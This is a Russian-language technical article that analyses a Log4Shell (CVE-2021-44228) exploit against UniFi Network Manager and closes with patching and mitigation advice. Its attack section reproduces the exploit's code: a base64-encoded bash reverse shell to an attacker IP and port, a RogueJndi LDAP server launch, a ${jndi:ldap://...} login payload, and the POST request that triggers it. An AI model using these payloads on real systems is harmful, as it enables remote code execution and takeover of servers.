Технический анализ CVE-2021-44228 (BDU:2021-05969) в Log4Shell
Технический анализ CVE-2021-44228 (BDU:2021-05969) в Log4Shell
Категория: Программы Теги: Уязвимости Опубликовано: 4 апреля 2025

Анализ CVE-2021-44228 (BDU:2021-05969) в Log4Shell

Цель эксплойта: Удалённое выполнение кода (RCE) через уязвимость в Apache Log4j2, используя JNDI/LDAP-инъекцию.
Целевая система: Уязвимые версии UniFi Network Manager (и другие приложения, использующие Log4j2 2.0-beta9 – 2.15.0).


Ключевые этапы работы эксплойта

1. Подготовка обратной оболочки (Reverse Shell)

  • Кодирование команды в Base64:

    shell = base64.b64encode(f'bash -c bash -i >&/dev/tcp/{callback}/{port} 0>&1'.encode('utf-8'))

    Команда для обратной оболочки кодируется в Base64, чтобы обойти возможные фильтры символов (например, пробелы или спецсимволы).

  • Пример декодированной команды:

    bash -c "bash -i >&/dev/tcp/10.0.0.1/4444 0>&1"

    Эта команда создаёт TCP-соединение с атакующим на указанный IP и порт.


2. Запуск поддельного LDAP-сервера (RogueJNDI)

Эксплойт использует инструмент RogueJndi для эмуляции вредоносного LDAP-сервера:

proc = subprocess.Popen([
    'timeout', '30s', 
    'java', '-jar', './utils/rogue-jndi/target/RogueJndi-1.1.jar', 
    '--command', f'bash -c {{echo,{revshell}}}|{{base64,-d}}|{{bash,-i}}', 
    '--hostname', f'{callback}'
])
  • RogueJndi возвращает жертве ссылку на класс-эксплоит, который выполняет команду:

    1. Декодирует Base64 (base64 -d).

    2. Запускает декодированную команду через bash -i.


3. Формирование JNDI-инъекции

Эксплойт подставляет в POST-запрос вредоносный payload:

t = Template('{"username": "${payload}", "password": "log4j", "remember": "${payload}", "strict":true}')
payload = t.substitute(payload=f'${{jndi:ldap://{callback}:1389/o=tomcat}}')
  • Структура payload:

    {
      "username": "${jndi:ldap://10.0.0.1:1389/o=tomcat}", 
      "password": "log4j", 
      "remember": "${jndi:ldap://10.0.0.1:1389/o=tomcat}", 
      "strict": true
    }

    Поля username и remember содержат JNDI-ссылку на LDAP-сервер атакующего.


4. Отправка запроса и триггер уязвимости

  • Эксплойт отправляет POST-запрос на /api/login целевого сервера:

    response = requests.post(url, data=payload, verify=False)
  • Log4j2 обрабатывает payload:

    1. Библиотека Log4j2 пытается выполнить lookup для ${jndi:ldap://...}.

    2. JNDI обращается к LDAP-серверу атакующего.

    3. Сервер возвращает ссылку на класс, который загружается и исполняется в памяти.


Технические детали уязвимости CVE-2021-44228 (BDU:2021-05969)

Почему это работает?

  • Уязвимый код Log4j2:
    Функции вроде lookup() интерпретируют строки вида ${jndi:...} как команды для динамической загрузки объектов.

  • Цепочка исполнения:

    JNDI → LDAP-сервер → Загрузка класса → Вызов статического блока/конструктора → RCE.

Роль RogueJndi

  • LDAP-сервер: Слушает на порту 1389 и возвращает вредоносный Reference.

  • Класс-эксплоит: Генерирует класс, который при инициализации выполняет команду через Runtime.getRuntime().exec().


Условия успешной эксплуатации

  1. Уязвимая версия Log4j2: 2.0-beta9 – 2.15.0 (кроме 2.12.2, 2.12.3, 2.3.1).

  2. Включен lookup-механизм: По умолчанию активирован до версии 2.15.0.

  3. Доступ к LDAP-серверу атакующего: Жертва должна иметь исходящий доступ к порту 1389.


Защита и устранение

  1. Обновление Log4j2:

    • Версии 2.16.0 и выше (JNDI полностью удалён).

    • Патчи для старых версий: 2.12.2, 2.12.3, 2.3.1.

  2. Отключение JNDI:

    java -Dlog4j2.formatMsgNoLookups=true -jar app.jar
  3. Сетевые ограничения:

    • Блокировка исходящих LDAP-запросов на уровне фаервола.

    • Использование WAF для фильтрации ${jndi:*} в HTTP-запросах.

Алексей Черемных Алексей Черемных
88